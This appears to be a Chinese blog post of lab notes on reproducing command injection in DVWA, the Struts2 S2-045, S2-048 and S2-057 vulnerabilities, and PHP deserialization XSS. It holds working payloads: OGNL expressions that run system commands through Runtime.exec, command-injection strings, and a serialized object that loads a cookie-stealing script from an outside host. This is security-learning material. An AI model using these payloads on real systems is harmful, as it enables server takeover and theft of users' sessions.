美文网首页
RCE/Struts2/反序列化

RCE/Struts2/反序列化

作者: _Beginner | 来源:发表于2020-04-14 20:58 被阅读0次

一.本文介绍

1、本文介绍远程代码执行、s2-045、s2-48、S2-057漏洞复现;XSS/cookie反序列化攻击。

2、环境准备:Pikachu、DVWA靶场、Struts2环境。


二.学习步骤

1、远程代码执行产生原理

因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
没有做严格的安全控制,则可能会导致攻击者控制整个后台服务器 。

2、系统命令

1. 执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
2. .htaccess: SetHandler, auto_prepend_file, auto_append_file
3. dvwa low && Medium & 或&;& High || (代码里面的|后有一个空格)
4.Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

LOW:&&ipconfig

Medium:&ipconfig

High:||    ipconfig(多个空格)


3、struts2命令执行漏洞

stru2 045:
用K8进行命令执行、获取目标信息、上马等:

stru2 048
对存在漏洞的站进行RCE,获取信息等。主要受影响的Struts版本为:2.3.x

struts048.py http://192.168.1.102:8080/struts2-showcase/showcase.action "ipconfig"

s2-057:
首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

其次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*

最后把type="chain"改成type="redirectAction"

攻击payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action

${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}


4、反序列化

1. 什么是反序列化
  就是把一个对象变成可以传输的字符串,目的就是为了方便传输。

2. 产生的原理
serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。

3. XSS反序列化:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

4. 获取cookie反序列化:

O:1:"S":1:{s:4:"test";s:51:"</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/EsxA></sCrIpT>";}

相关文章

  • RCE/Struts2/反序列化

    一.本文介绍 1、本文介绍远程代码执行、s2-045、s2-48、S2-057漏洞复现;XSS/cookie反序列...

  • JAVA反序列化

    利用java反序列化实现RCE。 转自:https://security.tencent.com/index.ph...

  • JBOSS漏洞

    Java反序列化RCE漏洞 CVE-2015-7501漏洞 由于JBoss中invoker/JMXInvokerS...

  • 2020-12-19(CVE-2020-7961)Liferay

    (CVE-2020-7961)Liferay Portal RCE 反序列化命令执行漏洞 一、漏洞描述 Lifer...

  • Bugku CTF 反序列化

    反序列化 php反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)个人理解漏洞为执行unserialize...

  • Struts2著名RCE漏洞浅析

    本文参考:https://www.freebuf.com/vuls/168609.html 一、Struts2漏洞...

  • 序列化和反序列化的概念

    1序列化:把对象转为字节序列的过程 为序列化; 2相反:字节---------->对象 为反序列化 3 序列化的场...

  • Laravel-popchain

    考虑了下还是打算把laravel的链子跟一遍。看了下基本上就5.7,5.8两个版本的rce反序列化popchain...

  • TP5_RCE合集

    目录一、控制器名引起的RCE二、核心类Requests引起的RCE 一、控制器名引起的RCE 公开时间:2018/...

  • 【白盒】TP5_RCE合集

    目录一、控制器名引起的RCE二、核心类Requests引起的RCE 一、控制器名引起的RCE 公开时间:2018/...

网友评论

      本文标题:RCE/Struts2/反序列化

      本文链接:https://www.haomeiwen.com/subject/qejxvhtx.html